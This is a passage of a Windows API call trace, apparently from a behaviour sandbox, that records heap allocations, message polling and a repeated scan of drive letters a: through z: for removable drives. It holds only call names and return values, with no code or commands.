RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1438 [0172.074] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076880 [0172.074] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0172.074] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768b0 [0172.074] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0172.074] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768c8 [0172.074] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076940 [0172.074] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf3a8 [0172.074] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf398 [0172.074] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1488 [0172.074] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.074] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0172.075] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0172.075] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0172.075] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0172.075] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0172.075] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0172.075] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0172.075] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0172.076] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0172.076] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0172.076] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0172.076] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0172.076] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0172.077] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0172.077] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0172.077] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0172.077] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0172.077] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0172.078] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0172.078] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0172.080] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0172.080] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0172.080] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0172.080] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0172.081] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0172.081] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0172.081] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1488 | out: hHeap=0xe80000) returned 1 [0172.081] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf398 | out: hHeap=0xe80000) returned 1 [0172.081] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768b0 | out: hHeap=0xe80000) returned 1 [0172.082] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076880 | out: hHeap=0xe80000) returned 1 [0172.082] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1438 | out: hHeap=0xe80000) returned 1 [0172.082] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0172.082] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1438 [0172.082] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768e0 [0172.082] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf358 [0172.082] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076880 [0172.082] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768b0 [0172.082] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768c8 | out: hHeap=0xe80000) returned 1 [0172.082] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.082] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3e8 [0172.082] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a18 [0172.082] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2b8 [0172.082] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xefe918 [0172.082] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768c8 [0172.082] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.083] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a18 | out: hHeap=0xe80000) returned 1 [0172.083] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768c8 | out: hHeap=0xe80000) returned 1 [0172.083] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xefe918 | out: hHeap=0xe80000) returned 1 [0172.083] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2b8 | out: hHeap=0xe80000) returned 1 [0172.083] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3e8 | out: hHeap=0xe80000) returned 1 [0172.083] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec790 [0172.083] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.083] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec790 | out: hHeap=0xe80000) returned 1 [0172.083] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.084] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed2b50 | out: hHeap=0xe80000) returned 1 [0172.084] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076940 | out: hHeap=0xe80000) returned 1 [0172.084] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3a8 | out: hHeap=0xe80000) returned 1 [0172.084] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768b0 | out: hHeap=0xe80000) returned 1 [0172.084] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076880 | out: hHeap=0xe80000) returned 1 [0172.084] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768e0 | out: hHeap=0xe80000) returned 1 [0172.084] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0172.084] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1438 | out: hHeap=0xe80000) returned 1 [0172.084] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076868 | out: hHeap=0xe80000) returned 1 [0172.084] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0172.084] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf358 [0172.084] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0172.084] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0172.085] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf438 [0172.085] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed28c8 [0172.085] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.085] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed28c8 | out: hHeap=0xe80000) returned 1 [0172.085] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf438 | out: hHeap=0xe80000) returned 1 [0172.085] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1076928 [0172.086] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed2b50 [0172.086] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.086] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3c8 [0172.086] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1438 [0172.086] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076868 [0172.086] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0172.086] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076880 [0172.086] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0172.086] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a90 [0172.086] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768b0 [0172.086] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf308 [0172.086] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf2b8 [0172.086] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1488 [0172.086] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.086] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0172.086] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0172.086] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0172.086] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0172.087] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0172.087] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0172.087] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0172.087] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0172.087] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0172.087] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0172.087] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0172.088] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0172.088] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0172.088] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0172.088] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0172.088] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0172.088] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0172.089] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0172.089] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0172.089] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0172.089] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0172.089] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0172.089] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0172.089] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0172.090] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0172.090] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0172.090] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1488 | out: hHeap=0xe80000) returned 1 [0172.090] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2b8 | out: hHeap=0xe80000) returned 1 [0172.090] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076880 | out: hHeap=0xe80000) returned 1 [0172.090] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076868 | out: hHeap=0xe80000) returned 1 [0172.091] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1438 | out: hHeap=0xe80000) returned 1 [0172.091] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3c8 | out: hHeap=0xe80000) returned 1 [0172.091] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1640 [0172.091] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076868 [0172.091] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf388 [0172.091] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076880 [0172.091] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10769b8 [0172.091] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a90 | out: hHeap=0xe80000) returned 1 [0172.091] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.091] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2b8 [0172.091] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768c8 [0172.091] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0172.091] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xefe7b8 [0172.091] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a90 [0172.091] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.091] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768c8 | out: hHeap=0xe80000) returned 1 [0172.091] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a90 | out: hHeap=0xe80000) returned 1 [0172.091] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xefe7b8 | out: hHeap=0xe80000) returned 1 [0172.091] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0172.091] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2b8 | out: hHeap=0xe80000) returned 1 [0172.091] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec690 [0172.091] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.092] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec690 | out: hHeap=0xe80000) returned 1 [0172.092] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.092] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed2b50 | out: hHeap=0xe80000) returned 1 [0172.092] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768b0 | out: hHeap=0xe80000) returned 1 [0172.092] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0172.093] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10769b8 | out: hHeap=0xe80000) returned 1 [0172.093] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076880 | out: hHeap=0xe80000) returned 1 [0172.093] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076868 | out: hHeap=0xe80000) returned 1 [0172.093] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf388 | out: hHeap=0xe80000) returned 1 [0172.093] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1640 | out: hHeap=0xe80000) returned 1 [0172.093] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076928 | out: hHeap=0xe80000) returned 1 [0172.093] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0172.093] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0172.093] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0172.093] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0172.093] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf3f8 [0172.093] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed28c8 [0172.093] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.094] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed28c8 | out: hHeap=0xe80000) returned 1 [0172.117] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0172.117] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x10769a0 [0172.117] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed3060 [0172.117] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.117] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf378 [0172.117] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1640 [0172.117] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768c8 [0172.117] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0172.117] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768e0 [0172.117] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0172.117] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768f8 [0172.117] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076868 [0172.117] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf358 [0172.117] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf3e8 [0172.117] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1438 [0172.117] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.118] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0172.118] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0172.118] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0172.118] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0172.118] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0172.118] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0172.118] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0172.119] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0172.119] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0172.119] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0172.119] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0172.119] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0172.119] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0172.120] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0172.120] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0172.120] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0172.120] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0172.120] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0172.120] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0172.121] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0172.121] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0172.121] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0172.121] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0172.121] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0172.121] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0172.121] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0172.122] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1438 | out: hHeap=0xe80000) returned 1 [0172.122] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3e8 | out: hHeap=0xe80000) returned 1 [0172.122] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768e0 | out: hHeap=0xe80000) returned 1 [0172.122] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768c8 | out: hHeap=0xe80000) returned 1 [0172.123] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1640 | out: hHeap=0xe80000) returned 1 [0172.123] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf378 | out: hHeap=0xe80000) returned 1 [0172.123] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1640 [0172.123] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768b0 [0172.123] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf368 [0172.123] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076880 [0172.123] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076940 [0172.123] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768f8 | out: hHeap=0xe80000) returned 1 [0172.123] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.123] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2b8 [0172.123] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076aa8 [0172.123] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf268 [0172.123] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xefe878 [0172.123] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a18 [0172.123] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.124] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076aa8 | out: hHeap=0xe80000) returned 1 [0172.124] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a18 | out: hHeap=0xe80000) returned 1 [0172.124] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xefe878 | out: hHeap=0xe80000) returned 1 [0172.124] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf268 | out: hHeap=0xe80000) returned 1 [0172.124] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2b8 | out: hHeap=0xe80000) returned 1 [0172.124] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec490 [0172.124] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.124] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec490 | out: hHeap=0xe80000) returned 1 [0172.124] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.125] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed3060 | out: hHeap=0xe80000) returned 1 [0172.125] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076868 | out: hHeap=0xe80000) returned 1 [0172.125] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0172.125] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076940 | out: hHeap=0xe80000) returned 1 [0172.125] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076880 | out: hHeap=0xe80000) returned 1 [0172.125] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768b0 | out: hHeap=0xe80000) returned 1 [0172.125] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf368 | out: hHeap=0xe80000) returned 1 [0172.125] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1640 | out: hHeap=0xe80000) returned 1 [0172.126] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10769a0 | out: hHeap=0xe80000) returned 1 [0172.126] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0172.126] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf428 [0172.126] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf428 | out: hHeap=0xe80000) returned 1 [0172.126] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0172.126] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf418 [0172.126] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed3060 [0172.126] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.126] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed3060 | out: hHeap=0xe80000) returned 1 [0172.126] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf418 | out: hHeap=0xe80000) returned 1 [0172.126] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1076868 [0172.126] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed2f40 [0172.126] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0172.126] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2b8 [0172.126] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1438 [0172.127] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768b0 [0172.127] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf378 [0172.127] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10769a0 [0172.127] HeapFree (in: hHeap=0xe80000, 